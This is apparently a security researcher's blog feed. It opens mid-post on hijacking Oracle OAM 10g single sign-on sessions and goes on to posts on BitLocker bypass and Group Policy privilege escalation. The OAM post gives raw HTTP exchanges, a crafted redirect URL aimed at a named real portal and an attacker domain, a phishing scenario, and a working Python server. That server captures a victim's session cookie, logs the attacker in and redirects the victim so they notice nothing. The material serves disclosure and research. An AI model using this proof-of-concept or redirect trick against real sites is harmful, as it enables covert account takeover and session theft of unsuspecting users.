<p>At this point the user will be on the login screen and needs to submit his credentials (even 2FA).<br>
This brings us to the second part of the authentication flow.<br>
<img src="https://krbtgt.pw/content/images/2017/07/SSO_Flow_2.jpg" alt="Oracle OAM 10g Session Hijacking"><br>
As the screenshot above shows; the user submits its credentials and the OAM server verifies the credentials and serves back various cookies one of them being “ObSSoCookie” which is given to the user after successful logon.<br>
<img src="https://krbtgt.pw/content/images/2017/07/SSO_Flow_3.jpg" alt="Oracle OAM 10g Session Hijacking"><br>
The user submits his credentials, the OAM server validates its credentials. If the credentials are valid the OAM Server gives the user a cookie and a valid session and redirects the user to the protected resource.<br>
The raw HTTP requests/responses look as follows:</p>
<blockquote>
<p>POST /oam/server/auth_cred_submit HTTP/1.1<br>
Accept: text/html, application/xhtml+xml, <em>/</em><br>
Referer: http://<span>someotherdomain.com/oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F<br>
Accept-Language: en-US<br>
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)<br>
Content-Type: application/x-www-form-urlencoded<br>
Accept-Encoding: gzip, deflate<br>
Host: someotherdomain.com<br>
Content-Length: 67<br>
Connection: Keep-Alive<br>
Cache-Control: no-cache<br>
Cookie: OAM_REQ=VERSION_4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%...<snipped></snipped></span></p>
</blockquote>
<blockquote>
<p>username=User1&amp;password=User123456&amp;request_id=-8330979068306697433</p>
</blockquote>
<hr>
<blockquote>
<p>HTTP/1.1 302 Moved Temporarily<br>
Connection: close<br>
Date: Fri, 09 Mar 2012 16:17:01 GMT<br>
Transfer-Encoding: chunked<br>
Location: http://<span>somewebsite.com/obrar.cgi?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly<br>
Set-Cookie: OAM_ID=VERSION_4~C7Iz5I0rodPWWPLR82CoQg~bP8dGW/YVqe1NaHiCaZ3z6p2dbxVbpJpcSYMU6LVzUSBHp0C9OtSKbtvUlHHDsGImCi8KtAh3CLHXN+paF2+ZyxNOZOge2Mg2aH6vF8Wy2fUgIEYAVYjtVrP4bVTC0GpM7S6dt3XpjR/AHScYUdQNp5Olr5D3gSlBAnXWcyYxY9u/x620d5LHIYvBdZvqZzVsfAAV/5KovBKD/5wvhPWI/JDkYoUdT37VoaDp7BS1lOumUtTqzXkQTzMzAkLCzhS0M1NyCYTiT9904bIxfzhJw; path=/; HttpOnly<br>
Set-Cookie: OAM_REQ=invalid; path=/; HttpOnly<br>
X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab7<br>
X-Powered-By: Servlet/2.5 JSP/2.1</span></p>
</blockquote>
<hr>
<blockquote>
<p>GET /obrar.cgi?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly HTTP/1.1<br>
Accept: text/html, application/xhtml+xml, <em>/</em><br>
Referer: http://<span>someotherdomain.com/oam/server/obrareq.cgi?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F<br>
Accept-Language: en-US<br>
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)<br>
Cookie: ObSSOCookie=loggedoutcontinue<br>
Accept-Encoding: gzip, deflate<br>
Connection: Keep-Alive<br>
Cache-Control: no-cache<br>
Host: somewebsite.com</span></p>
</blockquote>
<hr>
<blockquote>
<p>HTTP/1.1 302 Redirect<br>
Content-Length: 0<br>
Location: /protected/<br>
Server: Microsoft-IIS/7.5<br>
Set-Cookie: ObSSOCookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D;httponly; path=/<br>
X-Powered-By: ASP.NET<br>
Date: Fri, 09 Mar 2012 16:14:22 GMT</p>
</blockquote>
<hr>
<blockquote>
<p>GET /protected/ HTTP/1.1<br>
Accept: text/html, application/xhtml+xml, <em>/</em><br>
Referer: http://<span>someotherdomain.com/oam/server/obrareq.cgi?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F<br>
Accept-Language: en-US<br>
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)<br>
Cookie: ObSSOCookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D<br>
Accept-Encoding: gzip, deflate<br>
Connection: Keep-Alive<br>
Cache-Control: no-cache<br>
Host: somewebsite.com</span></p>
</blockquote>
<hr>
<blockquote>
<p>HTTP/1.1 200 OK<br>
Cache-Control: no-cache,private<br>
Pragma: no-cache<br>
Content-Type: text/html<br>
Content-Encoding: gzip<br>
Vary: Accept-Encoding<br>
Server: Microsoft-IIS/7.5<br>
X-Powered-By: ASP.NET<br>
Date: Fri, 09 Mar 2012 16:14:22 GMT<br>
Content-Length: 2495</p>
</blockquote>
<hr>
<p>So far the crash course in Oracle Authentication Manager, we can move on to the juicy stuff.</p>
<h1 id="hijackingthesession">Hijacking the session</h1>
<p>You might have noticed some obvious red flags in the request/response flow demonstrated above.</p>
<ul>
<li>The parameter called <strong>rh=</strong>, which is the domain of the protected resource.</li>
<li>The cookie that is sent via a <strong>GET</strong> request...</li>
</ul>
<p><strong>Yes... in the GET request...</strong><br>
<img src="https://krbtgt.pw/content/images/2017/07/post-19715-Brent-Rambo-gif-thumbs-up-imgu-L3yP.gif" alt="Oracle OAM 10g Session Hijacking"></p>
<p>Now the challenge is to steal that cookie value and hijack the user's session.<br>
But according to Oracle documentation the OAM server validates whether the resource is protected or not therefore asking a resource that doesn't exist should fail on first glance...</p>
<p>Let's craft our own request to send to the OAM server:</p>
<p><code>https://&lt;some domain&gt;/oam/server/obrareq.cgi?wh=&lt;some_internal_domain&gt; wu=&lt;some_webpage&gt; wo=1 rh=http://localhost ru=/this/does/not/exist.html</code></p>
<p>Our request will ask the OAM server to give us access to <strong>http://<span>localhost/this/does/not/exist.html</span></strong> which doesn't exist at all...<br>
Instead of complaining the OAM server redirects us to the login screen and asks for our credentials... this looks promising :)</p>
<p>We received an <strong>OAMREQ</strong> cookie from the OAM server, this will be used by the OAM server to determine where to send the user after successful authentication!</p>
<p>However still having a lot of doubt that this will work, because why would OAM Server give us a valid set of cookies to authenticate against a non-existing resource...</p>
<p>Anyway we submitted our credentials...</p>
<p>To our surprise we get a redirect from the OAM server to something like:</p>
<p><code>http://localhost/obrar.cgi?cookie=&lt;LOOOOOOONG_COOKIE_VALUE&gt;</code></p>
<p><img src="https://krbtgt.pw/content/images/2017/07/when-your-mom-says-yaass--full.jpg" alt="Oracle OAM 10g Session Hijacking"></p>
<p><strong>Wait... did we just receive a cookie for a non-existing resource??</strong></p>
<p>Maybe we just received a cookie only to work for <strong>http://<span>localhost</span></strong> and the cookie wouldn't work on the real resource...</p>
<p>We changed the GET request from <code>http://localhost/obrar.cgi?cookie=&lt;LOOOOOOONG_COOKIE_VALUE&gt;</code> to <code>http://&lt;valid_domain_of_proteced_resource&gt;/obrar.cgi?cookie=&lt;LOOOOOOONG_COOKIE_VALUE&gt;</code></p>
<p>AAAAAND we're in.</p>
<hr>
<blockquote>
<p>HTTP/1.1 200 OK<br>
Cache-Control: no-cache,private<br>
Pragma: no-cache<br>
Content-Type: text/html<br>
Content-Encoding: gzip<br>
Vary: Accept-Encoding<br>
Server: Microsoft-IIS/7.5<br>
X-Powered-By: ASP.NET<br>
Date: Fri, 09 Mar 2017 14:14:22 GMT<br>
Content-Length: 2495</p>
</blockquote>
<hr>
<p><img src="https://krbtgt.pw/content/images/2017/07/giphy.gif" alt="Oracle OAM 10g Session Hijacking"></p>
<p>OK, so there are 2 &quot;vulnerabilities&quot; here...</p>
<ul>
<li>Open Redirect (user gets redirected after submitting credentials)</li>
<li>Cookie value in GET request (saved on log files of the web server)</li>
</ul>
<p>Since we can control where the user has to go and since we also can read the cookie value that is coming from the user we can hijack his session...</p>
<p>All we have to do is entice the victim to click on the link that we provide him and log in, since he's logging in on the real login portal we are not raising any suspicion.<br>
<mark>If the user is already logged-in we will get his cookie without a problem and the victim won't notice a thing!!</mark></p>
<h1 id="globalexposure">Global Exposure</h1>
<p>It started us thinking maybe this might be a stand-alone case of misconfiguration and this would be impossible to abuse on another OAM 10g setup.</p>
<p>Boy were we wrong about that statement...</p>
<p>We found hundreds of hundreds of high profile organisation with the same misconfiguration, all of them exposed against session hijacking. We analyzed <strong>100 high profile domains</strong> and <strong>only 1</strong> was properly secured against this attack! Unfortunately we cannot share the domains that are affected, but if you look for it you'll be able to find them.</p>
<p>We started looking for an organisation that used OAM SSO scheme with a similar setup and had a bug bounty program running. We quickly stumbled upon <strong>https://<span>my.telekom.ro</span></strong> which is from <a href="https://www.telekom.com/en/corporate-responsibility/data-protection-data-security/security/security/closing-security-gaps-360054">Deutsche Telekom</a>.</p>
<p>Users that want to access my.telekom.ro website get a redirect that looks as follows:<br>
<code>https://my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttps%3A%2F%2Fmy.telekom.ro%3A443%2Fms_oauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponse_type%253dcode%26client_id%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirect_uri%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracle_client_name%253dAntenaPlay</code></p>
<p>Clicking on the link above will redirect the user to:<br>
<code>https://my.telekom.ro/ssologin/ssologin.jsp?contextType=external&amp;username=string&amp;OverrideRetryLimit=0&amp;contextValue=%2Foam&amp;password=sercure_string&amp;challenge_url=https%3A%2F%2Fmy.telekom.ro%2Fssologin%2Fssologin.jsp&amp;request_id=-9056979784527554593&amp;authn_try_count=0&amp;locale=nl_NL&amp;resource_url=https%253A%252F%252Fmy.telekom.ro%253A443%252Fms_oauth%252Foauth2%252Fui%252Foauthservice%252Fshowconsent%253Fresponse_type%25253Dcode%252526client_id%25253D98443c86e4cb4f9898de3f3820f8ee3c%252526redirect_uri%25253Dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%252526scope%25253DUserProfileAntenaPlay.me%252526oracle_client_name%25253DAntenaPlay</code></p>
<p>Where the user has to submit his credentials in order to gain access to his information. If we change the first request as follows:</p>
<blockquote>
<p>https://<span>my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttp%3A%2F%2F<strong>our_malicious_domain</strong>%2Fms_oauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponse_type%253dcode%26client_id%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirect_uri%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracle_client_name%253dAntenaPlay</span></p>
</blockquote>
<p>We entice the victim (e.g. via phishing mail) to click on the link (<mark><strong>which on first sight looks perfectly legitimate</strong></mark>), <strong>it is important to note that all SSL communication remains intact, we are not setting up any other website to capture credentials like in a traditional phishing campaign.</strong><br>
He/she will be redirected to the login page and will be asked to submit their credentials. After submitting the credentials the server will reply back with a HTTP 302 redirect pointing to <strong>http://<span>our_malicious_domain</span></strong>.</p>
<p>Our webserver on &quot;<strong>http://<span>our_malicious_domain</span></strong>&quot; will steal the users cookie and use it log in on his account and finally our webserver will send a redirect to the victim with the same cookie information to the appropriate domain.<br>
The result is that both the attacker and the victim are logged in, both sessions are independent from each other and <strong>most importantly the victim will never notice that something is wrong</strong>.</p>
<h2 id="proofofconceptwebserverscript">Proof-of-Concept Webserver Script</h2>
<pre><code>#!/usr/bin/env python
&quot;&quot;&quot;
Oracle OAM 10g Session Hijack

usage: Oracle_PoC.py -d redirect_domain

Default browser will be used to open browser tabs

PoC tested on Windows 10 x64 using Internet Explorer 11

positional arguments:

&quot;&quot;&quot;
import SimpleHTTPServer
import SocketServer
import sys
import argparse
import webbrowser
import time

def redirect_handler_factory(domain):
    class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
			if self.path.endswith(&quot;httponly&quot;) or self.path.endswith(&quot;%252F&quot;) or  self.path.endswith(&quot;do&quot;) or self.path.endswith(&quot;adfAuthentication&quot;):
				webbrowser.open_new(&quot;https://&quot; + domain) #Load website in order to retrieve any other cookies needed to login properly
				time.sleep( 5 )
				webbrowser.open(&quot;https://&quot;+ domain +&quot;/&quot; + self.path, new=0, autoraise=True) #Use received cookie to login on to the website
				time.sleep( 5 )
				self.send_response(301)
				self.send_header('Location','https://'+ domain +'/'+ self.path) #Send same cookie to the victim and let him log-in as well, to not raise any suspicion ;)
				self.end_headers()
				return
			else:
                            print self.path
    return RedirectHandler
           

def main():

    parser = argparse.ArgumentParser(description='Oracle Webgate 10g Session Hijacker')

    parser.add_argument('--port', '-p', action=&quot;store&quot;, type=int, default=80, help='port to listen on')
    parser.add_argument('--ip', '-i', action=&quot;store&quot;, default=&quot;0.0.0.0&quot;, help='host interface to listen on')
    parser.add_argument('--domain','-d', action=&quot;store&quot;, default=&quot;localhost&quot;, help='domain to redirect the victim to')

    myargs = parser.parse_args()
    
    port = myargs.port
    host = myargs.ip
    domain = myargs.domain

    redirectHandler = redirect_handler_factory(domain)
    
    handler = SocketServer.TCPServer((host, port), redirectHandler)
    print(&quot;serving at port %s&quot; % port)
    handler.serve_forever()

if __name__ == &quot;__main__&quot;:
    main()
</code></pre>
<p>Feel free to modify the code to you needs, I didn't put the effort to make it work under all circumstances.</p>
<h2 id="proofofconceptvideo">Proof-of-Concept Video</h2>
<iframe width="560" height="315" src="https://www.youtube.com/embed/q6ijneG0twc" frameborder="0" allowfullscreen></iframe>
This video will help clear up any confusion on how the attack works.
If you still have questions, send me a message on twitter.
<h1 id="mitigation">Mitigation</h1>
<p>We contacted Oracle regarding this issue, and they simply pointed out that this is a configuration issue.<br>
Their answer:</p>
<blockquote>
<p>Our investigation shows that the issues had been addressed already. To<br>
mitigate this attack, please refer to a feature called SSODomains.<br>
More information can be found here:<br>
<a href="http://docs.oracle.com/cd/E15586_01/doc.1111/e15478/agents.htm">http://docs.oracle.com/cd/E15586_01/doc.1111/e15478/agents.htm</a> (search<br>
for SSODomains) and at<br>
<a href="http://docs.oracle.com/cd/E15586_01/doc.1111/e15478/agents.htm#BABBJHEG">http://docs.oracle.com/cd/E15586_01/doc.1111/e15478/agents.htm#BABBJHEG</a></p>
</blockquote>
<p>If you don't define SSODomains, this effectively means you'll be able to get valid session for any domain.</p>
<h1 id="cvssrating">CVSS rating</h1>
<p>According to the NIST CVSSv3 calculator this vulnerability has a rating of <strong>9.3</strong><br>
<img src="https://krbtgt.pw/content/images/2017/07/cvss-1.PNG" alt="Oracle OAM 10g Session Hijacking"><br>
<a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N">https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[VIDEO: Hack In Paris 2016: From zero to SYSTEM on FDE Windows System]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>This is the presentation video from the HIP 16 presentation Tom and I did earlier this summer.<br>
I hope you enjoy it!</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/GDKMjN3VTJw" frameborder="0" allowfullscreen></iframe><!--kg-card-end: markdown-->]]></description><link>https://krbtgt.pw/video-hack-in-paris-2016-from-zero-to-system-on-fde-windows-system/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad8c</guid><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Thu, 08 Sep 2016 09:21:13 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>This is the presentation video from the HIP 16 presentation Tom and I did earlier this summer.<br>
I hope you enjoy it!</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/GDKMjN3VTJw" frameborder="0" allowfullscreen></iframe><!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Abusing Kerberos to NTLM fallback to defeat BitLocker FDE]]></title><description><![CDATA[A security feature bypass vulnerability exists in Windows when Kerberos improperly handles a password change request and falls back to NT LAN Manager (NTLM) Authentication]]></description><link>https://krbtgt.pw/abusing-kerberos-to-ntlm-fallback-to-defeat-windows-authentication/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad8b</guid><category><![CDATA[BitLocker]]></category><category><![CDATA[Authentication Bypass]]></category><category><![CDATA[Full Disk Encryption]]></category><category><![CDATA[ms16-101]]></category><category><![CDATA[CVE-2016-3237]]></category><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Thu, 11 Aug 2016 01:45:35 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="intro">Intro</h2>
<p>This vulnerability is related to the initial vulnerbility which I and my collegue <a href="https://twitter.com/tgilis">Tom</a> found back in February, namely the Microsoft Security Bulletin MS16-014.<br>
More information about the MS16-014 attack can be found in my earlier blog post <a href="https://blog.ahmednabeel.com/from-zero-to-system-on-full-disk-encrypted-windows-system/">here</a>.</p>
<p>TL;DR</p>
<blockquote>
<p>Windows login screen can be bypassed using NTLM and a &quot;rogue&quot; domain controller, essentially defeating BitLocker FDE.</p>
</blockquote>
<h2 id="bypassingpatchms16014">Bypassing patch MS16-014</h2>
<p>Past experience tells me that Microsoft doesn't always properly patch the vulnerabilities correctly. (see MS15-122 and MS16-014)<br>
That being said I was rather sceptic if they fixed it well this time. So I starting thinking of different scenarios which could lead to new exploitation ways.</p>
<p>After spending a few days testing out different scenarios I was coming up empty handed. Well maybe they did fix it well this time? =)<br>
The last scenario that was on my list was &quot;<strong>What would happen if a KDC goes down in the middle of a password change process?</strong>&quot;.</p>
<p>I had setup a rogue DC which was untrusted by the client and would not allow me to perform the password change. However it still allowed me to get to the password change step.</p>
<p>So I reset the password of the user on the fake domain controller, the user corresponds with the user that has been logged on in the past (credentials are cached!).</p>
<p><img src="https://krbtgt.pw/content/images/2016/08/1.PNG" alt></p>
<p>I go back to the client machine and type in the password I just set as &quot;expired&quot; and you get the following:</p>
<p><img src="https://krbtgt.pw/content/images/2016/08/2.PNG" alt><br>
Followed by:<br>
<img src="https://krbtgt.pw/content/images/2016/08/3.PNG" alt></p>
<p>At this point I decided to <strong>block all Kerberos traffic</strong> from reaching the &quot;rogue&quot; Domain Controller by using Window Firewall:</p>
<p><img src="https://krbtgt.pw/content/images/2016/08/4.PNG" alt></p>
<p>Went back to the client and pressed &quot;<strong>Enter</strong>&quot; to start the password change procedure:<br>
<img src="https://krbtgt.pw/content/images/2016/08/5.PNG" alt></p>
<p>And I waited... and waited...<br>
<img src="https://krbtgt.pw/content/images/2016/08/I-ll-just-sit-here-and-wait-for-this-gif-to-_68876c9379518e416a22b682a8fb37cd.jpg" alt></p>
<p>Then suddenly...after 6 minutes...<br>
<img src="https://blog.ahmednabeel.com/content/images/2016/02/hklUN.jpg" alt></p>
<p><img src="https://krbtgt.pw/content/images/2016/08/omgwtf.gif" alt><br>
<strong>It worked!??</strong></p>
<h2 id="howwhydiditwork">How/Why did it work?</h2>
<p>To get the answer to the question I had to look at the traffic.<br>
So again I reset the account and went to all the steps and started to look at the Wireshark captures.</p>
<p>After going quickly through the wireshark capture, I can see that the client machine is sending a bunch of retransmissions on port 88 which is the port used for Kerberos communication. <strong>After 6 minutes it falls back to NTLM</strong> and tries to change the password.<br>
<img src="https://krbtgt.pw/content/images/2016/08/pass_change_ntlm.PNG" alt><br>
So Microsoft fixed the trust relationship issue with Kerberos (MS15-122/MS16-014) but didn't change it for NTLM.</p>
<p><strong>But why 6 minutes?</strong><br>
<img src="https://krbtgt.pw/content/images/2016/08/Notime.jpg" alt><br>
As an attacker you want the attack to be completed <strong>as fast as possible</strong> to avoid detection of some sorts!<br>
<img src="https://krbtgt.pw/content/images/2016/08/tcpwindow.PNG" alt><br>
The 6 minutes has to do with the TCP Connect Timeout value, for Windows the default is set to <strong>72 seconds for initial connections</strong> and has a default of <strong>5 retransmissions</strong> before timing a connection out.</p>
<blockquote>
<p>72 sec x 5 = 360 sec / 6 minutes.</p>
</blockquote>
<p>So I started playing around with the timeout, in the hope there is some sort of improper handling on the client side that makes it fallback much faster.<br>
So i tried <strong>30 seconds</strong>, blocked the <strong>ports 88 and 464</strong> in Windows Firewall.<br>
<img src="https://krbtgt.pw/content/images/2016/08/disable_rule.PNG" alt><br>
Continued with the password change on the client machine and allowed the ports again.<br>
<img src="https://krbtgt.pw/content/images/2016/08/enable_rule.PNG" alt><br>
<strong>No luck :(</strong><br>
<img src="https://blog.ahmednabeel.com/content/images/2016/02/TrustWorkstationPrimaryDomainFailed.png" alt><br>
So stepped it up to <strong>1 minute</strong>... and it <strong>worked</strong>!??<br>
<img src="https://blog.ahmednabeel.com/content/images/2016/02/hklUN.jpg" alt></p>
<p>Now I needed to know why it falls back to NTLM after just 1 minute?<br>
I <strong>don't have a clear answer</strong> to that question and Microsoft has been very vague about the details. However I think it is some sort of race-condition, when it sends the 5th retransmission it starts to look for other ways to complete the password change request.<br>
So when I enable the Kerberos ports again it skips Kerberos and goes into NTLM eventhough the TCP Connect Timeout value is has only been expired for the first retransmission.</p>
<p>However for my point of view it's still unclear what exactly is causing the speed up the Kerberos to NTLM fallback procedure. <strong>If you think you know the answer feel free to contact me on <a href="https://twitter.com/NabeelAhmedBE">Twitter</a> or send me an <a href="mailto:ahmednabeel.be@gmail.com">email</a>.</strong></p>
<p>Again this vulnerability <strong>wasn't too complex</strong> to find but still required some out-of-the-box thinking. It's a <strong>sneaky and dirty way</strong> to defeat BitLocker FDE, especially like this.</p>
<h2 id="pocdemo">PoC Demo</h2>
<iframe width="560" height="315" src="https://www.youtube.com/embed/4vbmBrKRZGA" frameborder="0" allowfullscreen></iframe>
<h2 id="timeline">Timeline</h2>
<ul>
<li>Vulnerability <strong>discovered</strong> (23rd of February 2016)</li>
<li><strong>Disclosed</strong> vulnerability details to MSRC (4th of April 2016)</li>
<li>Vulnerability <strong>acknowledged</strong> (25th of June 2016)</li>
<li>Vulnerability <strong>patched</strong> (9th of August 2016)</li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[SLIDES: From zero to SYSTEM of full disk encrypted Windows system (Hack In Paris 2016)]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h2 id="intro">Intro</h2>
<p>On the 30th of June, <a href="https://twitter.com/tgilis">Tom</a> and I gave a presentation at Hack In Paris about the vulnerabilities we discovered and which could be abused to bypass BitLocker FDE.<br>
These slides were used during the presentation a video of the presentation will be released soon and I will update</p>]]></description><link>https://krbtgt.pw/slides-hip16-from-zero-to-system-of-full-disk-encrypted-windows/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad8a</guid><category><![CDATA[HIP16]]></category><category><![CDATA[Hack In Paris]]></category><category><![CDATA[MS16-014]]></category><category><![CDATA[MS16-072]]></category><category><![CDATA[Windows]]></category><category><![CDATA[Authentication Bypass]]></category><category><![CDATA[Privilege Escalation]]></category><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Mon, 04 Jul 2016 07:05:39 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="intro">Intro</h2>
<p>On the 30th of June, <a href="https://twitter.com/tgilis">Tom</a> and I gave a presentation at Hack In Paris about the vulnerabilities we discovered and which could be abused to bypass BitLocker FDE.<br>
These slides were used during the presentation a video of the presentation will be released soon and I will update this post when that happens. :)</p>
<iframe src="//www.slideshare.net/slideshow/embed_code/key/pRiu6l1TJx0p4g" width="100%" height="485" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;" allowfullscreen> </iframe> <div style="margin-bottom:5px"><!--kg-card-end: markdown--></div>]]></content:encoded></item><item><title><![CDATA[From zero to SYSTEM on full disk encrypted Windows system (Part 2)]]></title><description><![CDATA[Privilege Escalation to SYSTEM on domain-joined Windows systems by abusing Group Policies. CVE-2016-3223 / MS16-072]]></description><link>https://krbtgt.pw/from-zero-to-system-on-full-disk-encrypted-windows-system-part-2/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad89</guid><category><![CDATA[Windows]]></category><category><![CDATA[BitLocker]]></category><category><![CDATA[Full Disk Encryption]]></category><category><![CDATA[MS16-072]]></category><category><![CDATA[Privilege Escalation]]></category><category><![CDATA[CVE-2016-3223]]></category><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Mon, 04 Jul 2016 00:47:00 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="intro">Intro</h2>
<p>This blog post is a continuation of my previous post which can be found <a href="https://blog.ahmednabeel.com/from-zero-to-system-on-full-disk-encrypted-windows-system/">here</a>.<br>
The reason I devided is because two seperate vulnerabilities come in to play in order to successfully retrieve the original user password and install your favourite malware :)<br>
So without further ado, let's escalate our privileges to SYSTEM.</p>
<h2 id="step3privilegeescalationtosystem">Step 3 – Privilege escalation to SYSTEM</h2>
<p>We know that the trust between the client and Domain Controller (DC) is not always properly validated, we  have a <strong>working Active Directory</strong> set-up and we have a working <strong>rogue DC</strong>.<br>
The question is are there any other Windows functionality that is failing to properly validate the trust?</p>
<p>How about Group Policies?</p>
<ul>
<li>It <strong>works on all supported Windows</strong> versions</li>
<li>There is <strong>no</strong> need for any <strong>additional (vulnerable) software</strong></li>
<li><strong>No specific configuration requirements</strong></li>
</ul>
<p>There are 2 types of Group Policy Objects (GPO), <strong>Computer</strong> Configuration and <strong>User</strong> Configuration <strong>Policies</strong>.</p>
<p><strong>Computer</strong> Configuration Policies are applied <strong>before logon</strong>, the <strong>machine account</strong> is used to authenticated to the DC in order to retrieve the policies and finally all policies are <strong>executed with SYSTEM privileges</strong>. Since we don't know the machine account password using Computer Configuration Policies is not an option.</p>
